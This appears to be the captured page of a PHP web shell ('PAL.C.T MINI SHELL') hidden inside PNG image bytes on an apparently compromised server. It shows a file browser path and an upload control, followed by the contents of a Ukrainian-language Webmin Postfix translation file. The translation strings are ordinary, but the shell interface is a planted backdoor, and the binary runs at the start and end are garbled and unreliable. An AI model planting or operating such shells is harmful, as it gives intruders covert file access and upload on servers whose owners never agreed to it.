php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/uk.auto

connect_emysql=Не вдалося завантажити драйвер бази даних $1
connect_elogin=Не вдалося увійти в базу даних $1:$2.
index_postfix=Постфікс

index_esuper=Команда Superfix Supervisor $1 не існує. Можливо, ваша <a href='$2'>конфігурація модуля</a> неправильна.
index_reload=Перезавантажте конфігурацію
index_reloadmsg=Натисніть цю кнопку, щоб Postfix перечитав усі його конфігураційні файли. Це може бути корисно, якщо файли конфігурації Postfix були змінені вручну.
index_version=Версія Postfix $1

check_manual=Вручну відредагуйте файл конфігурації Postfix.

aliases_addr=Псевдонім від ..
aliases_to=Псевдонім до ..
aliases_type1=Адреса $1
aliases_type2=Адреси у файлі $1
aliases_type3=Файл $1
aliases_type4=Програма $1
aliases_type5=Файл автовідповіді $1
aliases_type6=Застосувати файл фільтру $1
aliases_none=Жоден
aliases_delete=Видалити вибрані псевдоніми

postfinger_title=Перевірка конфігурації
postfinger_show=Показати
postfinger_ecannot=Вам не дозволяється перевіряти конфігурацію Postfix

mailclean_title=Очистити чергову пошту
mailclean_ecannot=Ніяких привілеїв для очищення MailQueues
mailclean_active=Активна черга
mailclean_incoming=Черга на вхід
mailclean_deferred=Відкладена черга
mailclean_defer=Черга відстрочки
mailclean_all=Усі черги
mailclean_search=Пошуковий рядок

aform_type0=Жоден
aform_type1=Електронна адреса
aform_type2=Адреси у файлі
aform_type3=Напишіть у файл
aform_type4=Потік до програми
aform_type5=Автоматично відповісти з файлу
aform_type6=Застосувати файл фільтра
aform_edit=Редагувати псевдонім
aform_create=Створіть псевдонім
aform_name=Адреса
aform_enabled=Увімкнено?
aform_val=Псевдонім до
aform_afile=Редагувати ..
aform_return=псевдонім
aform_cmt=Опис

asave_err=Не вдалося зберегти псевдонім
asave_eaddr='$1' не є дійсною адресою
asave_ealready=Псевдонім для $1 вже існує
asave_etype1='$1' не є дійсною адресою електронної пошти
asave_etype2=Файл адрес "$1" недійсний або не існує
asave_etype3='$1' - невірна назва файлу
asave_etype4='$1' не є дійсною програмою або не існує
asave_etype5=Файл автовідповіді "$1" недійсний
asave_etype4none=Програма не надана
asave_etype6=Файл фільтра "$1" недійсний

afile_title=Редагувати файл адреси
afile_desc=Використовуйте текстову область нижче, щоб редагувати адреси у файлі $1.
afile_efile=Вам заборонено редагувати $1.
afile_undo=Скасувати зміни
afile_ewrite=Не вдалося записати у файл адреси : $1

ffile_title=Редагувати файл фільтра
ffile_desc=Використовуйте форму нижче, щоб встановити правила фільтра у файлі $1.
ffile_efile=Вам заборонено редагувати $1.
ffile_line=Якщо поле $1 $2 $3, тоді перейдемо до $4
ffile_from=з
ffile_to=до
ffile_subject=предмет
ffile_cc=КК
ffile_body=тіло
ffile_what0=не відповідає
ffile_what1=сірники
ffile_other=В іншому випадку переадресуйте на $1
ffile_err=Не вдалося зберегти файл фільтра
ffile_ematch=Пропав матч
ffile_eaction=Відсутня адреса переадресації

rfile_title=Редагувати файл автовідповіді
rfile_desc=Використовуйте текстову область нижче, щоб відредагувати повідомлення про автоматичну відповідь у $1. Повідомлення може містити макроси $SUBJECT, $FROM, $TO, $DATE та $BODY, які будуть розширені, коли активується автоматична відповідь.
rfile_desc2=Ви також можете встановити заголовки пошти, які додають або замінюють за замовчуванням, які використовуються в автоматичному відповіді, додавши рядки на зразок: <br><tt> Від: foo@bar.com </tt><br> <tt>Тема: У відпустку</tt> <br> вгорі повідомлення, відокремленому від тіла одним порожнім рядком.
rfile_efile=Вам заборонено редагувати $1.
rfile_undo=Скасувати зміни
rfile_replies=Відстежувати відповіді, щоб запобігти циклу пошти?
rfile_none=Ні
rfile_file=Так, використовуючи файл журналу
rfile_period=Мінімальний інтервал між відповідями
rfile_default=За замовчуванням (1 година)
rfile_secs=секунд
rfile_ereplies=Файл журналу відстеження відповіді відсутній
rfile_eperiod=Відсутня або недійсна кількість секунд між відповідями
rfile_no_autoreply=Не надсилайте автовідповіді на
rfile_from=Від: адреса для відповіді
rfile_auto=Автоматичний (на основі адреси одержувача)
rfile_efrom=Відсутнє: адреса
rfile_fromdesc=Адреса: Адреса: завжди потрібно вказувати, де це можливо, оскільки автоматичний метод може бути ненадійним.

opts_nomap=Картка не встановлена
opts_setmap=Характеристики карти
opts_notify_classes_sel=Вибрано нижче

opts_edir=Ви можете вказати файли карт лише під $1

opts_mailbox_size_limit=Максимальний розмір поштової скриньки

opts_mynetworks_style=Автоматичні локальні мережі
opts_mynetworks_subnet=Та ж підмережа IP
opts_mynetworks_class=Той самий мережевий клас
opts_mynetworks_host=Тільки локальна машина
opts_delay_warning_time_default2=За замовчуванням Postfix
opts_content_filter_default=Жоден

opts_relay_recipient_maps=Карта дозволених адрес для ретрансляції
smtpd_nomap=Ще не введено карту дозволених адрес для ретрансляції.
smtpd_nomap2=Карта обмежень щодо адрес відправника ще не введена.
smtpd_map=Дозволені адреси для ретрансляції
smtpd_map2=Обмеження щодо адрес відправника

opts_smtp_use_tls=Використовуйте TLS для з'єднань SMTP
opts_smtp_sasl_security_options=Параметри безпеки SASL
opts_smtp_tls_security_level=Рівень безпеки клієнта SMTP TLS

opts_edebug=Відсутній або недійсний рівень вхідного журналу - повинен бути числом більше нуля

canonical_return_sender=відправник канонічних карт
canonical_return_recipient=канонічні карти одержувача
canonical_return=канонічні карти

mapping_delete=Видалити вибране
mapping_cmt=Опис
mapping_ecannot=Ви можете редагувати карти лише під $1
new_manual=Редагувати карту вручну
new_manualmsg=Натисніть цю кнопку, щоб вручну редагувати файли, з яких побудована ця карта.
map_noname=Відсутнє або недійсне ім’я відображення
map_cannot=Цю карту не можна редагувати : $1
map_unknown=Webmin не підтримує тип карти $1
mapping_none=Жодних відображень цього типу ще не визначено.
mapping_toomany=Існують записи $1, що вище межі відображення $2.
mapping_find=Показати відповідні зіставлення:
mapping_search=Пошук
mapping_match=Записи файлів карти, що відповідають <tt>$1</tt>.

opts_virtual_alias_maps=Таблиці пошуку доменних карт
opts_virtual_alias_domains=Домени для віртуального відображення для
virtual_same=З таблиць відображення домену
virtual_return=віртуальні домени

transport_return=транспортні карти

sni_title=Складання сертифікатів
sni_ecannot=Вам не дозволено редагувати конфігурацію зіставлення сертифікатів
opts_sni_maps=Довідкові таблиці зіставлення сертифікатів
sni_return=карти сертифікатів
sni_dom=Ім'я хоста
sni_certs=Файли сертифікатів

relocated_return=переміщені карти
opts_content_filter=Фільтр вмісту по електронній пошті

start_efailed=Не вдалося запустити Postfix
start_ecannot=Вам не дозволяється запускати Postfix

acl_sni=Чи можете редагувати сертифікати?
acl_header=Чи можна редагувати чеки заголовка?
acl_sasl=Чи можна редагувати автентифікацію SMTP?
acl_client=Чи можна редагувати обмеження клієнта SMTP?
acl_master=Чи можна редагувати серверні процеси?
acl_mailq=Чи можете керувати поштовою чергою?
acl_boxes=Чи можете читати електронну пошту користувачів?
acl_postfinger=Чи можна перевірити конфігурацію постфікса?
acl_manual=Чи можна редагувати конфігураційний файл?
acl_dir=Дозволений каталог для файлів карт
acl_bcc=Чи можна редагувати відображення BCC?

mail_move=Переїжджати:
mail_eexists=Повідомлення більше не існує!

view_flush=Промийте
view_body=Текст повідомлення
view_afile=Назва вкладеного файлу
view_atype=Тип вкладення
view_aname=Вкладення
view_asize=Розмір файлу

search_efield=Ви повинні вибрати тип пошуку.

match_headers=Заголовки збігаються
match_=-----------------
match_!headers=Заголовки не збігаються

mailq_title=Черга для пошти
mailq_count=$1 повідомлення
mailq_none=Наразі жодні повідомлення не надходять у чергу для доставки
mailq_id=Ідентифікатор пошти
mailq_date=Надісланий
mailq_from=З
mailq_to=До
mailq_cc=Cc
mailq_subject=Тема
mailq_return=черга пошти
mailq_delete=Видалити вибрані повідомлення
mailq_size=Розмір
mailq_ecannot=Вам не дозволяється переглядати поштову чергу
mailq_egone=Повідомлення більше не стоїть у черзі
mailq_status=Статус
mailq_flush=Черга по пошті
mailq_flushdesc=Натисніть цю кнопку, щоб примусити негайно доставити всі повідомлення у чергу та відобразити результати.
mailq_refresh=Оновити чергу черги
mailq_refreshdesc=Перезавантажте цю сторінку, щоб показати поточний стан черги пошти.
mailq_deleteall=Очистити чергову пошту
mailq_deletealldesc=Натисніть цю кнопку, щоб видалити всі повідомлення з черги пошти.
mailq_search=Знайдіть повідомлення в черзі, де
mailq_move=Вибрано запит
mailq_incoming=Вхідний
mailq_active=Активний
mailq_deferred=Відкладено
mailq_hold=Утримуйте вибране
mailq_unhold=Скасувати вибране

flushq_title=Черга змивання
flushq_desc=Примушування спроби доставки пошти за допомогою команди $1.

qview_title=Повідомлення в черзі
qview_desc=З файлу $1
qview_headers=Заголовки пошти
qview_attach=Вкладення

after_err=Помилка конфігурації Postfix : $1

searchq_title=Результати пошуку в черзі
searchq_none=Не знайдено жодних повідомлень у черзі.

header_title=Перевірки заголовка
header_ecannot=Вам заборонено редагувати чеки заголовка
header_eregexp=Карта перевірки заголовка повинна бути у форматі <tt>regexp:</tt> <i>ім'я файлу</i>
opts_header_checks=Таблиці перевірки заголовка MIME
header_name=Регулярне вираження
header_value=Дія на матчі
header_discard=Відкинути (з повідомленням журналу..)
header_dunno=Нічого не робити
header_filter=Застосувати фільтр ..
header_hold=Розмістити в черзі утримування (з повідомленням журналу..)
header_ignore=Ігноруйте
header_prepend=Додавання тексту ..
header_redirect=Перенаправлення на адресу ..
header_replace=Замініть текстом ..
header_reject=Відхилити (із повідомленням про помилку..)
header_warn=Попередження журналу (із повідомленням..)
header_ename=Неправильний регулярний вираз - має бути як / щось /
header_return=перевірки заголовка

body_title=Перевірки тіла
body_ecannot=Вам заборонено редагувати органи перевірки
body_eregexp=Карта перевірки тіла повинна бути у форматі <tt>regexp:</tt> <i>ім'я файлу</i>
opts_body_checks=Таблиці перевірки корпусу повідомлення
body_return=перевірки органів

dependent_title=Відправник залежної транспортної карти
dependent_ecannot=Вам заборонено редагувати транспортні карти, залежні від відправника
dependent_eregexp=Карта транспорту, залежна від відправника, повинна бути у форматі <tt>regexp:</tt> <i>ім'я файлу</i>
dependent_return=транспортне відображення залежних від відправника

manual_title=Редагувати файл карти
manual_file=Виберіть файл карти для редагування:
manual_change=Зміна
manual_editing=Використовуйте текстове поле нижче, щоб вручну редагувати відображення в $1. Будьте обережні, оскільки не буде здійснено перевірку синтаксису чи достовірності.
manual_err=Не вдалося зберегти файл карти
manual_efile=Недійсне ім’я файлу карти!
manual_ecannot=Вам заборонено вручну редагувати файли карт

delq_titles=Видалення повідомлень
delq_rusure=Ви впевнені, що хочете видалити $1 вибрані повідомлення з черги?
delq_confirm=Видалити повідомлення

master_title=Серверні процеси
master_name=Назва процесу
master_enabled=Увімкнено?
master_type=Тип транспорту
master_private=Приватний?
master_unpriv=Непривілейований?
master_chroot=Укорінений?
master_max=Макс процеси
master_inet=Інтернет
master_unix=Розетка Unix
master_fifo=Названа труба
master_add=Додайте новий процес на сервері.
master_unlimit=Необмежений
master_ecannot=Вам заборонено редагувати серверні процеси
master_edit=Редагувати серверний процес
master_create=Створення серверного процесу
master_header=Деталі процесу обробки сервера Postfix
master_host=Слухати за адресою хоста
master_any=Будь-яка адреса
master_private2=Приватна поштова система?
master_unpriv2=Запустити як користувач Postfix?
master_chroot2=Chroot - каталог черг для пошти?
master_return=серверні процеси
master_defyes=За замовчуванням (так)
master_command=Обробляти команду
master_wakeup=Автоматично прокидатися процес?
master_wtime=Після $1 секунд
master_wused=Тільки за умови фактичного використання
master_max2=Максимальні процеси
master_procs=Найбільше $1
master_name2=Ім'я / порт сервера
master_egone=Серверний процес більше не існує!
master_eclash=Серверний процес з тим самим іменем та типом транспорту вже існує
master_err=Не вдалося зберегти серверний процес
master_ename=Відсутнє або недійсне ім’я або порт сервера
master_ehost=Недійсна адреса хоста для прослуховування
master_einet=Адреса хоста для прослуховування можна вказати лише для Інтернет-процесів
master_ecommand=Відсутня командна процедура серверного процесу
master_ewakeup=Відсутній або недійсний час пробудження
master_emaxprocs=Максимальна кількість процесів відсутня або недійсна

delete_err=Не вдалося видалити відображення

cmanual_title=Редагування конфігураційних файлів
cmanual_ecannot=Вам заборонено редагувати конфігураційний файл Postfix
cmanual_ok=Редагувати
cmanual_efile=Вибраний файл не є частиною конфігурації Postfix
cmanual_file=Редагувати конфігураційний файл:
cmanual_edata=Нічого не ввійшло!
cmanual_err=Не вдалося зберегти конфігураційний файл

access_return=таблиця карти доступу
edit_map_file=Редагувати файл карти
opts_reject_rbl_client=Чорні списки реального часу (RBL)
opts_check_sender_access=Перевірте таблицю карти доступу відправника

log_misc=Змінено загальні параметри
log_opts=Змінено переписування адрес та маскування
log_aliases=Змінено параметри псевдонімів
log_canonical=Зміна параметрів канонічного відображення
log_virtual=Змінено параметри віртуального домену
log_bcc=Змінено параметри карти BCC
log_transport=Змінено варіанти транспортування карт
log_sni=Змінити параметри зіставлення сертифікатів
log_dependent=Змінено параметри адреси відправника
log_relocated=Змінено параметри переміщення карт
log_header=Змінено параметри перевірки заголовка
log_body=Змінено параметри перевірки тіла
log_debug=Змінено функції налагодження
log_ldap=Змінені LDAP-пошуки
log_local=Змінено місцеву доставку
log_rate=Змінено тарифи доставки
log_resource=Змінено загальний контроль над ресурсами
log_smtp=Змінено параметри клієнта SMTP
log_smtpd=Змінено параметри SMTP-сервера
log_alias_create=Створено псевдонім $1
log_alias_modify=Змінено псевдонім $1
log_alias_delete=Видалений псевдонім $1
log_delete_aliases=Видалено псевдоніми $1
log_virtual_alias_maps_create=Створено віртуальний домен $1
log_virtual_alias_maps_modify=Змінений віртуальний домен $1
log_virtual_alias_maps_delete=Видалений віртуальний домен $1
log_delete_virtual_alias_mapss=Видалено $1 віртуальні домени
log_manual_virtual_alias_mapss=Відредаговані вручну віртуальні домени в $1
log_virtual_maps_create=Створено віртуальний домен $1
log_virtual_maps_modify=Змінений віртуальний домен $1
log_virtual_maps_delete=Видалений віртуальний домен $1
log_delete_virtual_mapss=Видалено $1 віртуальні домени
log_manual_virtual_mapss=Відредаговані вручну віртуальні домени в $1
log_canonical_maps_create=Створено канонічне відображення $1
log_canonical_maps_modify=Змінено канонічне відображення $1
log_canonical_maps_delete=Видалено канонічне відображення $1
log_delete_canonical_mapss=Видалено $1 канонічні відображення
log_manual_canonical_mapss=Канонічні відображення вручну відредаговані в $1
log_recipient_canonical_maps_create=Створено канонічне відображення одержувача $1
log_recipient_canonical_maps_modify=Змінено канонічне відображення отримувача $1
log_recipient_canonical_maps_delete=Видалено канонічне відображення отримувача $1
log_delete_recipient_canonical_mapss=Видалено $1 канонічні відображення отримувача
log_manual_recipient_canonical_mapss=Канонічні відображення одержувача вручну відредаговані у $1
log_sender_canonical_maps_create=Створено канонічне відображення відправника $1
log_sender_canonical_maps_modify=Змінено канонічне відображення відправника $1
log_sender_canonical_maps_delete=Видалено відправника канонічного відображення $1
log_delete_sender_canonical_mapss=Видалено $1 канонічні відображення відправника
log_manual_sender_canonical_mapss=Відредаговані вручну канонічні відображення відправника у $1
log_transport_maps_create=Створено транспортне відображення $1
log_transport_maps_modify=Змінено транспортне відображення $1
log_transport_maps_delete=Видалене транспортне відображення $1
log_delete_transport_mapss=Видалено транспортні відображення $1
log_manual_transport_mapss=Редагувані транспортні відображення вручну в $1
log_relocated_maps_create=Створено переміщене відображення $1
log_relocated_maps_modify=Змінено переміщене відображення $1
log_relocated_maps_delete=Видалене переміщене відображення $1
log_delete_relocated_mapss=Видалені $1 переміщені відображення
log_manual_relocated_mapss=Відредаговані вручну переміщені відображення в $1
log_header_checks_create=Створено перевірку заголовка $1
log_header_checks_modify=Модифікована перевірка заголовка $1
log_header_checks_delete=Видалену перевірку заголовка $1
log_delete_header_checkss=Видалений $1 перевіряє заголовок
log_manual_header_checkss=Вручну відредагований заголовок перевіряє в $1
log_body_checks_create=Створено перевірку тіла $1
log_body_checks_modify=Змінена перевірка тіла $1
log_body_checks_delete=Видалено перевірку тіла $1
log_delete_body_checkss=Видалено $1 чеки
log_manual_body_checkss=Відредаговані вручну чеки в $1
log_master_create=Створено серверний процес $1
log_master_modify=Змінений процес сервера $1
log_master_delete=Видалений серверний процес $1
log_manual=Відредагований вручну файл конфігурації $1
log_stop=Зупинений сервер Postfix
log_start=Початок сервера Postfix
log_reload=Перезавантажена конфігурація Postfix
log_delqs=Видалено $1 повідомлення з поштової черги
log_flushq=Помилка черги пошти
log_backend=Оновлений файл конфігурації для карти $1
log_sasl=Змінено аутентифікацію та шифрування SMTP
log_client=Змінено обмеження SMTP-клієнта
log_sender_dependent_default_transport_maps_create=Створено залежну від відправника адресу $1
log_sender_dependent_default_transport_maps_modify=Змінена адреса, залежна від відправника $1
log_sender_dependent_default_transport_maps_delete=Видалено залежну від відправника адресу $1
log_delete_sender_dependent_default_transport_mapss=Видалено $1 залежні відправника адреси
log_manual_sender_dependent_default_transport_mapss=Відредаговані вручну залежні адреси відправника в $1

sasl_title=Аутентифікація та шифрування SMTP
opts_smtpd_sasl_auth_enable=Потрібна автентифікація SASL SMTP?
opts_smtp_sasl_auth_enable=Використовувати аутентифікацію SASL SMTP?
opts_smtpd_tls_auth_only=Заборонити аутентифікацію SASL через незахищені з'єднання?
opts_broken_sasl_auth_clients=Обробляти клієнтів, які не відповідають стандартам SMTP?
sasl_opts=Параметри безпеки SMTP
sasl_noanonymous=Відхилити анонімні входи
sasl_noplaintext=Відхилити вхід із звичайним текстом
opts_smtpd_delay_reject=Затримка клієнтів із невдалою реєстрацією?
sasl_recip=Обмеження для одержувачів SMTP
sasl_relay=Обмеження ретрансляції SMTP
sasl_permit_mynetworks=Дозволити з'єднання з однієї мережі
sasl_permit_sasl_authenticated=Дозволити аутентифікованих клієнтів
sasl_reject_unauth_destination=Відхилити електронну пошту до інших доменів
sasl_permit_inet_interfaces=Дозволити з'єднання з цієї системи
sasl_reject_unknown_reverse_client_hostname=Відхилити клієнтів без зворотного імені хоста
sasl_reject_unknown_client=Відхилити клієнтів без зворотного імені хоста
sasl_check_relay_domains=Дозволити лише ретрансляційні домени
sasl_permit_mx_backup=Дозволити домени, для яких ця система є резервною копією MX
sasl_permit_tls_all_clientcerts=Дозволити клієнтам TLS будь-який сертифікат
sasl_reject_unauth_pipelining=Відхилити ранні команди SMTP
sasl_check_client_access=Перевірте карту доступу клієнта :
sasl_reject_rbl_client=Відхиліть, якщо IP-адреса клієнта знаходиться в RBL :
sasl_reject_rhsbl_client=Відхиліть, якщо ім'я хоста клієнта в RBL :
opts_smtpd_tls_cert_file=Файл сертифіката TLS
opts_smtpd_tls_key_file=Файл приватного ключа TLS
opts_smtpd_tls_CAfile=Файл повноважень сертифіката TLS
opts_smtpd_use_tls=Увімкнути шифрування TLS?
opts_smtp_enforce_tls=Потрібна шифрування TLS?
sasl_err=Не вдалося зберегти автентифікацію та шифрування SMTP
sasl_ecert=Файл TLS відсутній або недійсний
sasl_ekey=Відсутній або недійсний файл ключа TLS
sasl_eca=Відсутній або недійсний файл дозволу TLS
sasl_level_none=Ніколи
sasl_level_may=За запитом клієнта
sasl_level_encrypt=Завжди
sasl_level_dane=Опортуністичний DANE TLS
sasl_level_dane_only=Обов’язковий ДАНІ TLS
sasl_level_fingerprint=Сертифікат перевірки відбитків пальців
sasl_level_verify=Обов’язкова перевірка TLS
sasl_level_secure=Захищений канал TLS
sasl_login=Вхід SMTP на хост вихідної пошти
sasl_nologin=Не потрібно
sasl_userpass=Увійдіть як $1 з паролем $2
sasl_elogin=Відсутній або недійсний вхід SMTP (не допускаються пробіли та колонки)
sasl_epass=Недійсний пароль SMTP (пробіли не дозволені)

client_title=Обмеження клієнта SMTP
client_ecannot=Вам заборонено редагувати обмеження клієнта SMTP
client_restrict=Клієнтські обмеження
client_restrict1=За замовчуванням Postfix (дозволити всім клієнтам)
client_restrict0=Вибрано нижче ..
client_other=Інші обмеження :
client_err=Не вдалося зберегти клієнтські обмеження
client_evalue=Відсутнє значення для обмеження $1
client_return=Обмеження клієнта SMTP

chooser_title=Виберіть Джерело карти
chooser_header=Джерело карти $1
chooser_none=Жоден
chooser_hash=Картографський файл
chooser_regexp=Файл Regexps
chooser_pcre=Файл regexps у стилі Perl
chooser_other=Інше джерело
chooser_mysql=База даних MySQL
chooser_mysqlsrc=Джерело MySQL
chooser_mhosts=Хостинг серверів MySQL
chooser_muser=Вхід у базу даних
chooser_mpassword=Пароль бази даних
chooser_mdbname=Назва бази даних
chooser_mtable=Таблиця, що містить карту
chooser_mselect_field=Поле значення
chooser_mwhere_field=Ключове поле
chooser_madditional_conditions=SQL для пункту <tt>де</tt>
chooser_err=Не вдалося зберегти джерело карти
chooser_ehash=Відсутнє або недійсне ім'я файлу відображення для карти $1
chooser_eregexp=Відсутнє або недійсне ім'я файлу регулярних виразів для карти $1
chooser_epcre=Відсутнє або недійсне ім'я файлу регулярних виразів, сумісне з Perl, для карт $1
chooser_eother=Відсутнє або недійсне інше джерело для карти $1
chooser_enone=Не введено жодної
chooser_emhosts=Відсутній хост сервера MySQL для карти $1
chooser_emuser=Відсутній або недійсний вхід у базу даних для карти $1
chooser_empassword=Відсутній або недійсний пароль бази даних для карти $1
chooser_emdbname=Відсутня або недійсна назва таблиці для карти $1
chooser_emselect_field=Відсутнє або недійсне поле значення для карти $1
chooser_emwhere_field=Відсутнє або недійсне ключове поле для карти $1
chooser_emadditional=Відсутні додаткові умови SQL для карти $1
chooser_mquery=Спеціальний запит для карти
chooser_emquery=Відсутній спеціальний запит для карти
chooser_lserver_host=Хости сервера LDAP
chooser_lserver_port=LDAP-порт
chooser_lstart_tls=Використовувати шифрування TLS?
chooser_lsearch_base=LDAP база пошуку DN
chooser_lquery_filter=Фільтр запитів
chooser_lresult_attribute=Атрибут результату
chooser_lscope=Область пошуку
chooser_lsub=Ціле піддерево
chooser_lone=Один рівень
chooser_lbase=База лише
chooser_lbind=Вхід на сервер LDAP?
chooser_lbind_dn=Логін сервера
chooser_lbind_pw=Пароль сервера
chooser_ldap=LDAP-сервер
chooser_lfilter=Інший фільтр
chooser_lattribute=Інший атрибут
chooser_elserver_host=Відсутній хост сервера LDAP для карти $1
chooser_elserver_port=Відсутній або недійсний порт сервера LDAP для карти $1
chooser_elsearch_base=Відсутня база пошуку LDAP для карти $1
chooser_elquery_filter=Відсутній фільтр запитів для карти $1
chooser_elresult_attribute=Відсутня або недійсна назва атрибута результату для карти $1
chooser_elbind_dn=Відсутній логін для сервера LDAP для карти $1
chooser_elbind_pw=Відсутній пароль для сервера LDAP для карти $1

mysql_ecfile=Файл конфігурації MySQL $1 не знайдено
mysql_ecfile2=Не вдалося знайти таблицю у файлі конфігурації MySQL $1
mysql_edriver=Не вдалося завантажити драйвер бази даних $1
mysql_elogin=Не вдалося увійти в базу даних $1:$2.
mysql_equery=Не вдалося запитувати таблицю $1 : $2 
mysql_eadd=Помилка вставки SQL : $1
mysql_edelete=Не вдалося видалити SQL : $1
mysql_eupdate=Помилка оновлення SQL : $1
mysql_elist=Помилка запиту SQL : $1
mysql_esource=Не знайдено джерела MySQL з ім'ям $1
mysql_eneed=Параметр конфігурації MySQL $1 не знайдено. Вебмін потрібен для того, щоб визначити, до якої таблиці та полів слід запитувати.

ldap_ecfile=Файл конфігурації LDAP $1 не знайдено
ldap_eldapmod=Модуль Perl $1, необхідний для спілкування з LDAP, не встановлений або не завантажується
ldap_eldap=Не вдалося підключитися до сервера LDAP $1 на порту $2
ldap_eldaplogin=Не вдалося увійти на сервер LDAP $1 як $2 : $3 
ldap_ebase=База даних LDAP DN $1 не вірна : $2
ldap_eadd=Не вдалося додати LDAP $1 : $2 
ldap_edelete=Видалення LDAP $1 не вдалося : $2
ldap_equery=LDAP пошук $1 не вдався : $2
ldap_erename=LDAP перейменувати $1 в $2 не вдалося : $3
ldap_emodify=Не вдалося змінити LDAP $1 : $2 

bcc_title=Картографування BCC
bcc_ecannot=Вам заборонено редагувати відображення BCC
opts_sender_bcc_maps=Таблиці пошуку картографів відправника BCC
opts_recipient_bcc_maps=Таблиці пошуку карток BCC отримувача
bcc_sender=Відображення відправника
bcc_recipient=Картографування одержувачів
bcc_senderdesc=Відображення BCC-відправника визначає додаткову адресу електронної пошти, на яку пошта <b>з</b> вказаних адрес або доменів буде BCCd.
bcc_recipientdesc=Відображення BCC-одержувачів визначає додаткову адресу електронної пошти, на яку надсилатиметься <b>на</b> вказані адреси чи домени.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`